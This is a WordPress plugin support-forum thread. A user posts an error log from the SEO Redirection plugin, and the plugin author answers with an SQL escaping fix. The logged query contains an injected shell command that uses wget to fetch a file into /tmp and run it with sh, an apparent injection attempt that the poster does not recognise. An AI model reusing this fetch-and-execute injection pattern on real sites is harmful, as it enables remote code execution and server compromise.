Support » Plugin: SEO Redirection Plugin » Error log – SQL syntax

  • Resolved ma3ry


    I actually have several websites with SEO Redirection plugin and all of them are giving me multiple errors such as the following. I don’t understand it and wonder if I could get some help fixing it please.

    [12-Jul-2018 20:51:13 UTC] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';wget -O -> /tmp/r;sh /tmp/r'$/', LEFT( 
                   ' at line 7 for query SELECT * 
                                                    FROM   tseb_WP_SEO_Redirection 
                                                    WHERE  enabled = 1 
                                                           AND redirect_from_type = 'Replace' 
                                                           AND blog = '1' 
                                                           AND Instr ( 
                                                           ' aa';wget -O -> /tmp/r;sh /tmp/r'$/', LEFT( 
                                                                   redirect_from, Locate('|', redirect_from) - 1))  limit 1  made by require('wp-blog-header.php'), wp, WP->main, do_action_ref_array, WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, SR_redirect_manager::redirect

    Thank you.

    • This topic was modified 11 months, 1 week ago by  ma3ry.

    The page I need help with: [log in to see the link]

Viewing 2 replies - 1 through 2 (of 2 total)
  • Plugin Author Fakhri Alsadi


    please backup your site database then access to your database and execute this SQL command:

    UPDATE tseb_WP_SEO_Redirection SET redirect_from = replace(redirect_from, “‘”, “\'”)

    Thank you.

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘Error log – SQL syntax’ is closed to new replies.